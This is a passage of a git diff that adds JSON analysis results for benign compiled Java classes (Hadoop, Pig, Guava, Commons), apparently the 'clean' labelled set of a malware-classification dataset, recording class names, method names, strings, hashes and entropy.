end of file diff --git a/java_classification/data/clean/b1e47a8733e56f7ad1585c8c0adeb16a4262f61b5708e516db3c77d750742b01.results b/java_classification/data/clean/b1e47a8733e56f7ad1585c8c0adeb16a4262f61b5708e516db3c77d750742b01.results new file mode 100755 index 0000000..448532f --- /dev/null +++ b/java_classification/data/clean/b1e47a8733e56f7ad1585c8c0adeb16a4262f61b5708e516db3c77d750742b01.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "CBZip2OutputStream.java", "class_name": "org/apache/tools/bzip2r/CBZip2OutputStream$StackElem", "access_permissions": ["ACC_SUPER"], "major_version": 49, "method_names": ["", ""], "minor_version": 0, "const_pool_count": 31}}, "_id": "fe457c1c-efae-43f4-8488-8e81893490c1", "metadata": {"mimetype": "application/x-java-applet", "sha1": "125175bb8e26f35b023adc766c11971658e3dfe1", "file_name": "java_clean/b1e47a8733e56f7ad1585c8c0adeb16a4262f61b5708e516db3c77d750742b01", "_id": "fe457c1c-efae-43f4-8488-8e81893490c1", "score": 0, "entropy": 5.141952535610733, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 724, "ssdeep": "12:dCSDQulPso0Yb3XD3DT3++PC3ARJT3c3CyzdSbiFMEfRq1ei1:8yQulj0GZNE5RY", "sha256": "b1e47a8733e56f7ad1585c8c0adeb16a4262f61b5708e516db3c77d750742b01", "md5": "87c79c1a517a32d1a3acc3aaa00ed376", "parent_sha256": "b1e47a8733e56f7ad1585c8c0adeb16a4262f61b5708e516db3c77d750742b01"}} \ No newline at end of file diff --git a/java_classification/data/clean/b24a19b5acae03201427712f7e5e63c16b8880620c95b35161f3416b96fff1f1.results b/java_classification/data/clean/b24a19b5acae03201427712f7e5e63c16b8880620c95b35161f3416b96fff1f1.results new file mode 100755 index 0000000..93dcfeb --- /dev/null +++ b/java_classification/data/clean/b24a19b5acae03201427712f7e5e63c16b8880620c95b35161f3416b96fff1f1.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "LOOr.java", "class_name": "org/apache/pig/impl/logicalLayer/LOOr", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["", "getSchema", "getFieldSchema", "visit", "name", "visit", ""], "minor_version": 0, "const_pool_count": 131}}, "_id": "ae005880-e4e5-4a8e-9ce5-ad5ec9ebd02e", "verbose": {"java": {"constant strings": ["Or ", "-"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "2fa0a3bfc77f1047c2761b5efd11ab69785e2f7b", "file_name": "java_clean/b24a19b5acae03201427712f7e5e63c16b8880620c95b35161f3416b96fff1f1", "_id": "ae005880-e4e5-4a8e-9ce5-ad5ec9ebd02e", "score": 0, "entropy": 5.2275669550631765, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 2941, "ssdeep": "48:Q4Bpcg9A0lssB35GGEKAaAgRdqXueAlyA7VYnNGy/yzUyCAgfsXoI1M+R0zDNa84:Q4H9A0lsI35GG5DRdqXue4yA7VYnNGyG", "sha256": "b24a19b5acae03201427712f7e5e63c16b8880620c95b35161f3416b96fff1f1", "md5": "2c69e807f50e0ae394319963afe3d159", "parent_sha256": "b24a19b5acae03201427712f7e5e63c16b8880620c95b35161f3416b96fff1f1"}} \ No newline at end of file diff --git a/java_classification/data/clean/b279314fd04326796823890c143cc68b6b9b5906d05978ad3e6564bef02b8d6b.results b/java_classification/data/clean/b279314fd04326796823890c143cc68b6b9b5906d05978ad3e6564bef02b8d6b.results new file mode 100755 index 0000000..d2329de --- /dev/null +++ b/java_classification/data/clean/b279314fd04326796823890c143cc68b6b9b5906d05978ad3e6564bef02b8d6b.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 50, "class_name": "hu/openig/mechanics/AchievementManager$1", "access_permissions": ["ACC_SUPER"], "interfaces": ["hu/openig/core/Pred2"], "sourcefile": "AchievementManager.java", "method_names": ["", "invoke", "invoke"], "minor_version": 0, "const_pool_count": 54}}, "_id": "da6bb2ad-13d8-4902-8c1e-0310e642150d", "verbose": {"java": {"signatures": ["Ljava/lang/Object;Lhu/openig/core/Pred2;"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "50b6a11ce2ffebd333811a380a872f5eed8c7bad", "file_name": "java_clean/b279314fd04326796823890c143cc68b6b9b5906d05978ad3e6564bef02b8d6b", "_id": "da6bb2ad-13d8-4902-8c1e-0310e642150d", "score": 0, "entropy": 5.238839585853631, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 1216, "ssdeep": "24:YRfcyS5ljCgU/2q0xqsUFiR0/6l1bzOnrKR+CzChcw2uhJ8:c0yGlFqlBgR0G1OrsRR0hy", "sha256": "b279314fd04326796823890c143cc68b6b9b5906d05978ad3e6564bef02b8d6b", "md5": "141d5881ab778b9c028d8c9afb3612ff", "parent_sha256": "b279314fd04326796823890c143cc68b6b9b5906d05978ad3e6564bef02b8d6b"}} \ No newline at end of file diff --git a/java_classification/data/clean/b28275fc7a5f077b3fa2a9a167be28c93401d5b74c7ef7f6a3564513c9121d4d.results b/java_classification/data/clean/b28275fc7a5f077b3fa2a9a167be28c93401d5b74c7ef7f6a3564513c9121d4d.results new file mode 100755 index 0000000..c52aeba --- /dev/null +++ b/java_classification/data/clean/b28275fc7a5f077b3fa2a9a167be28c93401d5b74c7ef7f6a3564513c9121d4d.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "BoundType.java", "class_name": "com/google/common/collect/BoundType", "access_permissions": ["ACC_PUBLIC", "ACC_FINAL", "ACC_SUPER", "ACC_ENUM"], "major_version": 49, "method_names": ["values", "valueOf", "", "forBoolean", ""], "minor_version": 0, "const_pool_count": 56}}, "_id": "dc66c912-e204-4fc3-8db4-11fd25d3f494", "verbose": {"java": {"signatures": ["()V", "Ljava/lang/Enum;"], "constant strings": ["OPEN", "CLOSED"], "JAVA String Analysis": {"obfuscated_data": {"base64": {"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/": "OPEN"}}}}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "88cd5227787ed2cce44f6d8f47268ba217ac15fa", "file_name": "java_clean/b28275fc7a5f077b3fa2a9a167be28c93401d5b74c7ef7f6a3564513c9121d4d", "_id": "dc66c912-e204-4fc3-8db4-11fd25d3f494", "score": 0, "entropy": 5.24930169494676, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 1308, "ssdeep": "24:8reEyZ1ulStpCBBHS+LTSDDQ/yh+ukBCy3E1yts:qlSt0BByWMsxukBz8", "sha256": "b28275fc7a5f077b3fa2a9a167be28c93401d5b74c7ef7f6a3564513c9121d4d", "md5": "70be04246604872a0a0f35d6d123740f", "parent_sha256": "b28275fc7a5f077b3fa2a9a167be28c93401d5b74c7ef7f6a3564513c9121d4d"}} \ No newline at end of file diff --git a/java_classification/data/clean/b34b8f559e41438f94af8801b1b98e38c3be93eeca8d481407e3c2e11000d4b8.results b/java_classification/data/clean/b34b8f559e41438f94af8801b1b98e38c3be93eeca8d481407e3c2e11000d4b8.results new file mode 100755 index 0000000..8abd707 --- /dev/null +++ b/java_classification/data/clean/b34b8f559e41438f94af8801b1b98e38c3be93eeca8d481407e3c2e11000d4b8.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "VirtualFileAssembly.java", "class_name": "org/jboss/vfs/VirtualFileAssembly$AssemblyNode", "access_permissions": ["ACC_SUPER"], "major_version": 50, "method_names": ["", "find", "findOrBuild", "find", "getFile", "addChild", "getChild", "setTarget", "access$000", "access$200", "access$300"], "minor_version": 0, "const_pool_count": 121}}, "_id": "62932f72-ed45-456a-b6e3-d75796c28c4d", "verbose": {"java": {"signatures": ["Ljava/util/Map;"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "12f2f08c1965e63bfc67d262636e7b5a71fedc42", "file_name": "java_clean/b34b8f559e41438f94af8801b1b98e38c3be93eeca8d481407e3c2e11000d4b8", "_id": "62932f72-ed45-456a-b6e3-d75796c28c4d", "score": 0, "entropy": 5.4342584672372585, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 3492, "ssdeep": "48:T6fQGlNMolVEd1uLztZ4hth3j52+md9fu6+Z6Q3DBOKUghqcDe0:T6VlplKd4kThzk+mjfx+6QTBOKUQ", "sha256": "b34b8f559e41438f94af8801b1b98e38c3be93eeca8d481407e3c2e11000d4b8", "md5": "4666ad21edbd17838741309ebe0598a7", "parent_sha256": "b34b8f559e41438f94af8801b1b98e38c3be93eeca8d481407e3c2e11000d4b8"}} \ No newline at end of file diff --git a/java_classification/data/clean/b3dcb873fb03bd0bb55a04fadfbc21f8fb309f40663c310baaa2cc9af9593104.results b/java_classification/data/clean/b3dcb873fb03bd0bb55a04fadfbc21f8fb309f40663c310baaa2cc9af9593104.results new file mode 100755 index 0000000..9a30f1a --- /dev/null +++ b/java_classification/data/clean/b3dcb873fb03bd0bb55a04fadfbc21f8fb309f40663c310baaa2cc9af9593104.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 47, "class_name": "org/apache/commons/io/filefilter/DirectoryFileFilter", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "interfaces": ["java/io/Serializable"], "sourcefile": "DirectoryFileFilter.java", "method_names": ["", "accept", ""], "minor_version": 0, "const_pool_count": 37}}, "_id": "0dd21d3b-e174-4fd9-8a52-56e851e2a330", "metadata": {"mimetype": "application/x-java-applet", "sha1": "ffd62e55b63f18e024f1eda8201b05d08ea534b6", "file_name": "java_clean/b3dcb873fb03bd0bb55a04fadfbc21f8fb309f40663c310baaa2cc9af9593104", "_id": "0dd21d3b-e174-4fd9-8a52-56e851e2a330", "score": 0, "entropy": 5.078428038644156, "libmagic": "compiled Java class data, version 47.0 (Java 1.3)", "file_size": 771, "ssdeep": "12:4SaN1QcNSDQulPsoKyEJTCxBbEEihXN6II/pYkSAlUXKdVWsVPUTlkw5m:2mcNyQuljKyXxE5hXS/JUT+w4", "sha256": "b3dcb873fb03bd0bb55a04fadfbc21f8fb309f40663c310baaa2cc9af9593104", "md5": "be5489d07745d18544953c69b0a3cd5b", "parent_sha256": "b3dcb873fb03bd0bb55a04fadfbc21f8fb309f40663c310baaa2cc9af9593104"}} \ No newline at end of file diff --git a/java_classification/data/clean/b3e66f9ae1a9cae4cc73f6c8168e58cde157c3c98ba56fa90cab89de90d27425.results b/java_classification/data/clean/b3e66f9ae1a9cae4cc73f6c8168e58cde157c3c98ba56fa90cab89de90d27425.results new file mode 100755 index 0000000..2c4fbb5 --- /dev/null +++ b/java_classification/data/clean/b3e66f9ae1a9cae4cc73f6c8168e58cde157c3c98ba56fa90cab89de90d27425.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "UpgradeObjectCollection.java", "class_name": "org/apache/hadoop/dfs/UpgradeObjectCollection", "access_permissions": ["ACC_SUPER"], "major_version": 49, "method_names": ["", "initialize", "registerUpgrade", "getDistributedUpgrades", ""], "minor_version": 0, "const_pool_count": 128}}, "_id": "588a7466-a7f2-4e99-bc0f-41e6903ac955", "verbose": {"java": {"signatures": ["Ljava/util/SortedSet;", "(ILorg/apache/hadoop/dfs/FSConstants$NodeType;)Ljava/util/SortedSet;"], "constant strings": ["Incorrect version ", ". Expected to be <= "]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "ad8f9b1b35a83994791cccfaa81180523fa002bf", "file_name": "java_clean/b3e66f9ae1a9cae4cc73f6c8168e58cde157c3c98ba56fa90cab89de90d27425", "_id": "588a7466-a7f2-4e99-bc0f-41e6903ac955", "score": 0, "entropy": 5.509207094059098, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 2714, "ssdeep": "48:E7cS0IA53yFlUIA2NlILI2pbrL7sIAqHRIkL6I4A6IAc6/IAwnri7nxI2RelFxuu:ED0I+iFlUIbNlILI2pbrL7sIfHRIkL62", "sha256": "b3e66f9ae1a9cae4cc73f6c8168e58cde157c3c98ba56fa90cab89de90d27425", "md5": "bc6fe63ee88e89236ac28637cdcf80ff", "parent_sha256": "b3e66f9ae1a9cae4cc73f6c8168e58cde157c3c98ba56fa90cab89de90d27425"}} \ No newline at end of file diff --git a/java_classification/data/clean/b3f1c0984d6177112c76291d1f721b72aa18d73c2bba33fc555a7899fe48d434.results b/java_classification/data/clean/b3f1c0984d6177112c76291d1f721b72aa18d73c2bba33fc555a7899fe48d434.results new file mode 100755 index 0000000..b5c208a --- /dev/null +++ b/java_classification/data/clean/b3f1c0984d6177112c76291d1f721b72aa18d73c2bba33fc555a7899fe48d434.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "S3Credentials.java", "class_name": "org/apache/hadoop/fs/s3/S3Credentials", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["", "initialize", "getAccessKey", "getSecretAccessKey"], "minor_version": 0, "const_pool_count": 110}}, "_id": "cd1bc6bc-a278-41b0-ab96-53787cd952e6", "verbose": {"java": {"JAVA String Analysis": {"combined strings entropy": 4.391666532034564}, "constant strings": ["Invalid hostname in URI ", "fs.%s.awsAccessKeyId", "fs.%s.awsSecretAccessKey", "AWS Access Key ID and Secret Access Key must be specified as the username or password (respectively) of a ", " URL, or by setting the ", " or ", " properties (respectively).", "AWS Access Key ID must be specified as the username of a ", " property.", "AWS Secret Access Key must be specified as the password of a "]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "b7aee8800f875202741dc60b7d4361a86ce2865d", "file_name": "java_clean/b3f1c0984d6177112c76291d1f721b72aa18d73c2bba33fc555a7899fe48d434", "_id": "cd1bc6bc-a278-41b0-ab96-53787cd952e6", "score": 0, "entropy": 5.6367342530529925, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 2405, "ssdeep": "48:QCLueyFls7kwiewJP4nJz2D6GamTG2aFSdDpsw0ZcdyZZse4Mx2yoay+:MFlsYwHwJmtG7TG2kSdlswXdy/R462yl", "sha256": "b3f1c0984d6177112c76291d1f721b72aa18d73c2bba33fc555a7899fe48d434", "md5": "1e4dc64a6424bec63de5c843a04487ac", "parent_sha256": "b3f1c0984d6177112c76291d1f721b72aa18d73c2bba33fc555a7899fe48d434"}} \ No newline at end of file diff --git a/java_classification/data/clean/b5746b6c00b32732da9ddf906cb498c704fdde124275e7fc9d8ef5d56a87e064.results b/java_classification/data/clean/b5746b6c00b32732da9ddf906cb498c704fdde124275e7fc9d8ef5d56a87e064.results new file mode 100755 index 0000000..03ddc24 --- /dev/null +++ b/java_classification/data/clean/b5746b6c00b32732da9ddf906cb498c704fdde124275e7fc9d8ef5d56a87e064.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "BasicParser.java", "class_name": "org/apache/commons/cli/BasicParser", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 48, "method_names": ["", "flatten"], "minor_version": 0, "const_pool_count": 24}}, "_id": "41769424-94b2-4b4a-9eb6-0a5b1ce42cec", "metadata": {"mimetype": "application/x-java-applet", "sha1": "7c27ad717ac13b3efce6f1f5c2291e431b57dcad", "file_name": "java_clean/b5746b6c00b32732da9ddf906cb498c704fdde124275e7fc9d8ef5d56a87e064", "_id": "41769424-94b2-4b4a-9eb6-0a5b1ce42cec", "score": 0, "entropy": 4.947332457156053, "libmagic": "compiled Java class data, version 48.0 (Java 1.4)", "file_size": 592, "ssdeep": "12:Rig3SDQulPsoYub90EWiMWMOmHMOjvuEtI4S/xkwhKxkWeQXx:RicyQuljYy9NknbmDrh4zeox", "sha256": "b5746b6c00b32732da9ddf906cb498c704fdde124275e7fc9d8ef5d56a87e064", "md5": "8debde7dee6b101c4f17a305158d8289", "parent_sha256": "b5746b6c00b32732da9ddf906cb498c704fdde124275e7fc9d8ef5d56a87e064"}} \ No newline at end of file diff --git a/java_classification/data/clean/b62bd602e06b8d66bbc3063b966e904fc96e61fee36f60b65a1dfe123e759b87.results b/java_classification/data/clean/b62bd602e06b8d66bbc3063b966e904fc96e61fee36f60b65a1dfe123e759b87.results new file mode 100755 index 0000000..015226d --- /dev/null +++ b/java_classification/data/clean/b62bd602e06b8d66bbc3063b966e904fc96e61fee36f60b65a1dfe123e759b87.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "Parser.java", "class_name": "org/apache/hadoop/mapred/join/Parser$NodeToken", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["", "getNode"], "minor_version": 0, "const_pool_count": 38}}, "_id": "7675c897-f0d9-4983-88c2-d8c2f7309464", "metadata": {"mimetype": "application/x-java-applet", "sha1": "996553fc4cb4d0d75fd84b92445fd456ec3f486f", "file_name": "java_clean/b62bd602e06b8d66bbc3063b966e904fc96e61fee36f60b65a1dfe123e759b87", "_id": "7675c897-f0d9-4983-88c2-d8c2f7309464", "score": 0, "entropy": 5.000261095023835, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 948, "ssdeep": "24:ClRbOPRbXuljqRbFmRbGpdKRbjrRbBRbD4RbQRbAbRbsRbflenA4o:ClgPQlea8dKxr72yKb60A4o", "sha256": "b62bd602e06b8d66bbc3063b966e904fc96e61fee36f60b65a1dfe123e759b87", "md5": "ae9c5caa0a4d224b70074730f1bea462", "parent_sha256": "b62bd602e06b8d66bbc3063b966e904fc96e61fee36f60b65a1dfe123e759b87"}} \ No newline at end of file diff --git a/java_classification/data/clean/b6af8213564e40660f6ba8167f089c7463a7f955285b958cb9808d618db80588.results b/java_classification/data/clean/b6af8213564e40660f6ba8167f089c7463a7f955285b958cb9808d618db80588.results new file mode 100755 index 0000000..7b76e9d --- /dev/null +++ b/java_classification/data/clean/b6af8213564e40660f6ba8167f089c7463a7f955285b958cb9808d618db80588.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "RegularImmutableSortedMultiset.java", "class_name": "com/google/common/collect/RegularImmutableSortedMultiset", "access_permissions": ["ACC_FINAL", "ACC_SUPER"], "major_version": 49, "method_names": ["createFromSorted", "", "elementList", "createElementSet", "createDescendingElementSet", "entryIterator", "descendingEntryIterator", "firstEntry", "lastEntry", "size", "distinctElements", "isPartialView", "count", "headMultiset", "tailMultiset", "createSubMultiset", "tailMultiset", "headMultiset", "lastEntry", "firstEntry", ""], "minor_version": 0, "const_pool_count": 273}}, "_id": "1a504d2c-6859-4d30-955d-51963755d214", "verbose": {"java": {"signatures": ["Lcom/google/common/collect/ImmutableList;>;", "(Ljava/util/Comparator<-TE;>;Ljava/util/List<+Lcom/google/common/collect/Multiset$Entry;>;)Lcom/google/common/collect/RegularImmutableSortedMultiset;", "(Ljava/util/Comparator<-TE;>;Lcom/google/common/collect/ImmutableList;>;)V", "()Lcom/google/common/collect/ImmutableList;", "()Lcom/google/common/collect/ImmutableSortedSet;", "()Lcom/google/common/collect/ImmutableSortedSet;", "()Lcom/google/common/collect/UnmodifiableIterator;>;", "()Lcom/google/common/collect/UnmodifiableIterator;>;", "()Lcom/google/common/collect/RegularImmutableSortedMultiset$CumulativeCountEntry;", "()Lcom/google/common/collect/RegularImmutableSortedMultiset$CumulativeCountEntry;", "(TE;Lcom/google/common/collect/BoundType;)Lcom/google/common/collect/ImmutableSortedMultiset;", "(TE;Lcom/google/common/collect/BoundType;)Lcom/google/common/collect/ImmutableSortedMultiset;", "(II)Lcom/google/common/collect/ImmutableSortedMultiset;", "Lcom/google/common/collect/ImmutableSortedMultiset;"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "27d6a83ebfd7207ec19d8bdf45005718667f3a47", "file_name": "java_clean/b6af8213564e40660f6ba8167f089c7463a7f955285b958cb9808d618db80588", "_id": "1a504d2c-6859-4d30-955d-51963755d214", "score": 0, "entropy": 5.390504721218945, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 8993, "ssdeep": "192:o6cdtlm3N9UVU9Ffxr3svpdQ1fUhTERNb0NVqRF4JSo9M8nsBQ95T4a:o5dtkNyVU9Ffxr3sv/Q1chTERNb0jqHO", "sha256": "b6af8213564e40660f6ba8167f089c7463a7f955285b958cb9808d618db80588", "md5": "c7b00781b2a33802a42fa78846dd1b7a", "parent_sha256": "b6af8213564e40660f6ba8167f089c7463a7f955285b958cb9808d618db80588"}} \ No newline at end of file diff --git a/java_classification/data/clean/b86c5b3b4a9e5113aace98fedc1ae3cceb229d9dea34057d6c666b142e488547.results b/java_classification/data/clean/b86c5b3b4a9e5113aace98fedc1ae3cceb229d9dea34057d6c666b142e488547.results new file mode 100755 index 0000000..5be751e --- /dev/null +++ b/java_classification/data/clean/b86c5b3b4a9e5113aace98fedc1ae3cceb229d9dea34057d6c666b142e488547.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "EnumUtils.java", "class_name": "org/apache/commons/lang/enums/EnumUtils", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 46, "method_names": ["", "getEnum", "getEnum", "getEnumMap", "getEnumList", "iterator"], "minor_version": 0, "const_pool_count": 49}}, "_id": "63c5c2fe-1309-4f65-ae4d-84f4cb225c43", "metadata": {"mimetype": "application/x-java-applet", "sha1": "6a672994a4646b65442ac6b159bbceb0d2cfbb87", "file_name": "java_clean/b86c5b3b4a9e5113aace98fedc1ae3cceb229d9dea34057d6c666b142e488547", "_id": "63c5c2fe-1309-4f65-ae4d-84f4cb225c43", "score": 0, "entropy": 4.947549272595595, "libmagic": "compiled Java class data, version 46.0 (Java 1.2)", "file_size": 1269, "ssdeep": "24:gROyQuljItTd80S6O1isY8ogx4MMsT8o2JZWl0IwgKudzcuNlS5IY3:FyFlUtZ80SJ1KguMMG2Wl0IwJ41PwIi", "sha256": "b86c5b3b4a9e5113aace98fedc1ae3cceb229d9dea34057d6c666b142e488547", "md5": "44312a758bf0556b0b85bb6e4a30dd91", "parent_sha256": "b86c5b3b4a9e5113aace98fedc1ae3cceb229d9dea34057d6c666b142e488547"}} \ No newline at end of file diff --git a/java_classification/data/clean/b89b723843be85cb3ae4fe8dea8dec383512dd3a04bf39bfaff700e2d995414d.results b/java_classification/data/clean/b89b723843be85cb3ae4fe8dea8dec383512dd3a04bf39bfaff700e2d995414d.results new file mode 100755 index 0000000..e6ced4e --- /dev/null +++ b/java_classification/data/clean/b89b723843be85cb3ae4fe8dea8dec383512dd3a04bf39bfaff700e2d995414d.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "BasicBlock.java", "class_name": "javassist/bytecode/stackmap/BasicBlock", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 48, "method_names": ["", "find", "toString", "toString2"], "minor_version": 0, "const_pool_count": 134}}, "_id": "e7cf1eca-bc94-41ee-9604-fe6ad952aef8", "verbose": {"java": {"constant strings": ["no basic block at ", "[", "]", "pos=", ", len=", ", in=", ", exit{", ", ", "}, {", "(", "), ", "}"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "558d2dc2ccc2bd2d34e2f4dd8ba6c101f9aca535", "file_name": "java_clean/b89b723843be85cb3ae4fe8dea8dec383512dd3a04bf39bfaff700e2d995414d", "_id": "e7cf1eca-bc94-41ee-9604-fe6ad952aef8", "score": 0, "entropy": 5.556291176014811, "libmagic": "compiled Java class data, version 48.0 (Java 1.4)", "file_size": 2350, "ssdeep": "48:utrjHdRveDleNmq+G7je8c5LRt6CD+8YZLX9gLbUOrDkGW9at:utX9ilzVOgLbUOs3a", "sha256": "b89b723843be85cb3ae4fe8dea8dec383512dd3a04bf39bfaff700e2d995414d", "md5": "0b005002ab5e7544863b3d090195c121", "parent_sha256": "b89b723843be85cb3ae4fe8dea8dec383512dd3a04bf39bfaff700e2d995414d"}} \ No newline at end of file diff --git a/java_classification/data/clean/b955f075af35f689055ed007eaf80446e460d61e2c78e99c7674a7236b1666d5.results b/java_classification/data/clean/b955f075af35f689055ed007eaf80446e460d61e2c78e99c7674a7236b1666d5.results new file mode 100755 index 0000000..6aea85b --- /dev/null +++ b/java_classification/data/clean/b955f075af35f689055ed007eaf80446e460d61e2c78e99c7674a7236b1666d5.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "TypeQualifierValidator.java", "class_name": "javax/annotation/meta/TypeQualifierValidator", "access_permissions": ["ACC_PUBLIC", "ACC_INTERFACE", "ACC_ABSTRACT"], "major_version": 49, "method_names": ["forConstantValue"], "minor_version": 0, "const_pool_count": 15}}, "_id": "d1770ccf-2d28-4bd1-bfe5-0990a5575e80", "verbose": {"java": {"signatures": ["(TA;Ljava/lang/Object;)Ljavax/annotation/meta/When;", "Ljava/lang/Object;"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "a7a76c143fe01ca2ed056abe88e267b73fb770a7", "file_name": "java_clean/b955f075af35f689055ed007eaf80446e460d61e2c78e99c7674a7236b1666d5", "_id": "d1770ccf-2d28-4bd1-bfe5-0990a5575e80", "score": 0, "entropy": 4.941995766853431, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 520, "ssdeep": "12:06WIvT8lv0ITylv0IYp900pYgTtaqSKu0IWSKLRDkSR:0XI78xuxYp9LpYOpSKuxWSKLJzR", "sha256": "b955f075af35f689055ed007eaf80446e460d61e2c78e99c7674a7236b1666d5", "md5": "9364ebbd1981568f5c96bbd30f6263e5", "parent_sha256": "b955f075af35f689055ed007eaf80446e460d61e2c78e99c7674a7236b1666d5"}} \ No newline at end of file diff --git a/java_classification/data/clean/b9681002b39daf101906927a7370877dd5aa0acac0dc73e164ed89fff9ab27a6.results b/java_classification/data/clean/b9681002b39daf101906927a7370877dd5aa0acac0dc73e164ed89fff9ab27a6.results new file mode 100755 index 0000000..fdb3255 --- /dev/null +++ b/java_classification/data/clean/b9681002b39daf101906927a7370877dd5aa0acac0dc73e164ed89fff9ab27a6.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "StreamingCommand.java", "class_name": "org/apache/pig/impl/streaming/StreamingCommand$Handle", "access_permissions": ["ACC_PUBLIC", "ACC_FINAL", "ACC_SUPER", "ACC_ENUM"], "major_version": 49, "method_names": ["values", "valueOf", "", ""], "minor_version": 0, "const_pool_count": 53}}, "_id": "8a80102c-5e98-499f-b24e-d4c91f29a5b9", "verbose": {"java": {"signatures": ["()V", "Ljava/lang/Enum;"], "constant strings": ["INPUT", "OUTPUT"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "29642d3964c8512c7879dbba670c27963fdd6fde", "file_name": "java_clean/b9681002b39daf101906927a7370877dd5aa0acac0dc73e164ed89fff9ab27a6", "_id": "8a80102c-5e98-499f-b24e-d4c91f29a5b9", "score": 0, "entropy": 5.277135706058282, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 1233, "ssdeep": "24:DszNaKsz6rzWzDQul0z8pCBez6z/bzzhsTHHDDbklj3psI:DU0z6rzWzDFl0z80Bez6zjzMDn4ZsI", "sha256": "b9681002b39daf101906927a7370877dd5aa0acac0dc73e164ed89fff9ab27a6", "md5": "df367553ae10b65ae846f260a89f5c3e", "parent_sha256": "b9681002b39daf101906927a7370877dd5aa0acac0dc73e164ed89fff9ab27a6"}} \ No newline at end of file diff --git a/java_classification/data/clean/bae23d1931e379181d1aa37ad2b2adbf4efd81a3f6ef2a2f93b00e4594f287f4.results b/java_classification/data/clean/bae23d1931e379181d1aa37ad2b2adbf4efd81a3f6ef2a2f93b00e4594f287f4.results new file mode 100755 index 0000000..63b1a37 --- /dev/null +++ b/java_classification/data/clean/bae23d1931e379181d1aa37ad2b2adbf4efd81a3f6ef2a2f93b00e4594f287f4.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "DistinctDataBag.java", "class_name": "org/apache/pig/data/DistinctDataBag", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["", "isSorted", "isDistinct", "size", "iterator", "add", "addAll", "spill", "access$000", "access$100", ""], "minor_version": 0, "const_pool_count": 192}}, "_id": "f5c87d72-52f5-4765-9e98-1570807d8142", "verbose": {"java": {"signatures": ["()Ljava/util/Iterator;"], "constant strings": ["Unable to create tmp file to spill to disk", "Error closing spill", "Unable to spill contents to disk"], "JAVA String Analysis": {"obfuscated_data": {"signatures": {"file": "rot0"}}}}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "81c2db8b671336148503f253bf1da71dc6f9378b", "file_name": "java_clean/bae23d1931e379181d1aa37ad2b2adbf4efd81a3f6ef2a2f93b00e4594f287f4", "_id": "f5c87d72-52f5-4765-9e98-1570807d8142", "score": 0, "entropy": 5.644926376822849, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 4517, "ssdeep": "96:+LjOkCFlyIRuD9dORoRK8knu6fWGwxtL1IH+G0RMn1kZb0gb26aoqfE:ColCe8GuN5FrZb0unD", "sha256": "bae23d1931e379181d1aa37ad2b2adbf4efd81a3f6ef2a2f93b00e4594f287f4", "md5": "58f231a8b8771e342cc3f6a088e197aa", "parent_sha256": "bae23d1931e379181d1aa37ad2b2adbf4efd81a3f6ef2a2f93b00e4594f287f4"}} \ No newline at end of file diff --git a/java_classification/data/clean/be25de1756de057456faa8a8e69efade9a6511cfdf397c6e4adc4165ed819845.results b/java_classification/data/clean/be25de1756de057456faa8a8e69efade9a6511cfdf397c6e4adc4165ed819845.results new file mode 100755 index 0000000..8b887c1 --- /dev/null +++ b/java_classification/data/clean/be25de1756de057456faa8a8e69efade9a6511cfdf397c6e4adc4165ed819845.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "JFile.java", "class_name": "org/apache/hadoop/record/compiler/JFile", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["", 